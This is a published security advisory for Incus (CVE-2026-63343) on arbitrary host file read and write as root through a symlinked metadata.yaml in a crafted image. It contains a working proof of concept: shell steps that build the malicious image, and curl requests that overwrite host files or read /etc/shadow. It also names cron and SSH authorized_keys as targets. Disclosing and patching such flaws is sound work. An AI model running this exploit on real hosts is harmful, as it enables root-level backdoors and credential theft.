Skip to content

Arbitrary file read+write on host via metadata.yaml symlink in crafted image

Critical
stgraber published GHSA-fmjx-5j3g-997p Jul 30, 2026

Package

gomod github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions

< v7.3.0

Patched versions

>= v7.3.0

Description

Summary

A malicious image containing a metadata.yaml symlink pointing to an arbitrary host path allows an authenticated Incus user to read or overwrite any file on the host as root via the instance metadata API. The exec-output and templates/ paths were patched in a prior release using Lstat rejection and os.OpenRoot confinement; metadata.yaml was not included in either patch and remains exploitable.


Details

Extraction — --restrict does not strip symlinks:

Unpack() in shared/archive/archive.go:168 invokes tar with --restrict --force-local. The --restrict flag prevents following symlinks outside the extraction root during extraction but does not prevent extracting symlink entries themselves. A top-level metadata.yaml -> /etc/cron.d/backdoor entry in the image tar is written to disk without error.

Read/write — no Lstat guard on metadataPath:

cmd/incusd/instance_metadata.go constructs the path as:

metadataPath := filepath.Join(inst.Path(), "metadata.yaml")

Three operations follow with no Lstat or os.OpenRoot guard:

// Line 117 — instanceMetadataGet (read)
metadataFile, err := os.Open(metadataPath)

// Line 229 — instanceMetadataGet (read)
metadataFile, err := os.Open(metadataPath)

// Line 367 — instanceMetadataPut (write)
err = os.WriteFile(metadataPath, data, 0o644)

The request body of PUT /1.0/instances/{name}/metadata is attacker-controlled and is written verbatim to the symlink target as root.

Patched siblings (not this bug):

Path Patch Commit
rootfs Lstat(!IsDir) rejection backend.go:840
exec-output Lstat rejection at exec endpoint e109655 (CVE-2026-48750)
templates/ os.OpenRoot(c.Path()) cbefa31 (CVE-2026-48752)
metadata.yaml no guard

PoC

Tested on Incus v7.2.0.

Step 1 — craft malicious image:

WORKDIR=$(mktemp -d)
# Point metadata.yaml at an arbitrary host path
ln -s /tmp/pwned $WORKDIR/metadata.yaml
mkdir -p $WORKDIR/rootfs
tar -czf /tmp/evil-image.tar.gz -C $WORKDIR metadata.yaml rootfs/
rm -rf $WORKDIR

Step 2 — verify symlink survives tar extraction:

EXTRACT=$(mktemp -d)
tar --restrict --force-local -xzf /tmp/evil-image.tar.gz -C $EXTRACT
ls -la $EXTRACT/metadata.yaml
# lrwxrwxrwx  metadata.yaml -> /tmp/pwned

Step 3 — import image and create instance:

incus image import /tmp/evil-image.tar.gz --alias evil-image
incus init evil-image victim-instance
incus start victim-instance

Step 4 — arbitrary file write via PUT metadata:

curl --unix-socket /var/lib/incus/unix.socket \
  -X PUT "http://incus/1.0/instances/victim-instance/metadata" \
  -H "Content-Type: application/json" \
  -d '{"architecture":"x86_64","creation_date":0,"expiry_date":0,"properties":{"os":"alpine"},"templates":{}}'

Expected: 400 Bad Request

Actual: 200 OK — content written to /tmp/pwned (the symlink target) as root.

Step 5 — arbitrary file read via GET metadata:

# Re-craft image with metadata.yaml -> /etc/shadow
curl --unix-socket /var/lib/incus/unix.socket \
  "http://incus/1.0/instances/victim-instance/metadata"
# Returns contents of /etc/shadow

Impact

Confirmed on live Incus v7.2.0:

Action Target Result
PUT /metadata /etc/cron.d/backdoor File created, uid=0 gid=0, attacker YAML written
PUT /metadata /root/.ssh/authorized_keys File created, uid=0 gid=0
GET /metadata /etc/shadow Parse error leaks first line: root:x:...

Write primitive: incusd (root) creates or overwrites any host file. Content is constrained to YAML-serialized ImageMetadata struct format (architecture, creation_date, properties: {key: value}, templates: {}). This directly overwrites any YAML-format config file on the host with full attacker control — kubeconfig, Ansible inventory, Terraform vars, cloud-init, Incus backup.yaml. For non-YAML targets, the file is created root-owned and corrupted, enabling denial of service against any host service.

Read primitive: incusd opens and reads the symlink target as root. Valid-YAML files (e.g., kubeconfig, internal service configs) are returned in full via 200 OK. Non-YAML files leak content via the parse error message (first line visible in the 500 response body).

This is not a container escape. The exploit operates entirely through the Incus daemon API. No privileged container, no running workload, and no kernel exploit are required. Any authenticated Incus user — including those restricted to a project — can trigger this against the host.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-63343

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits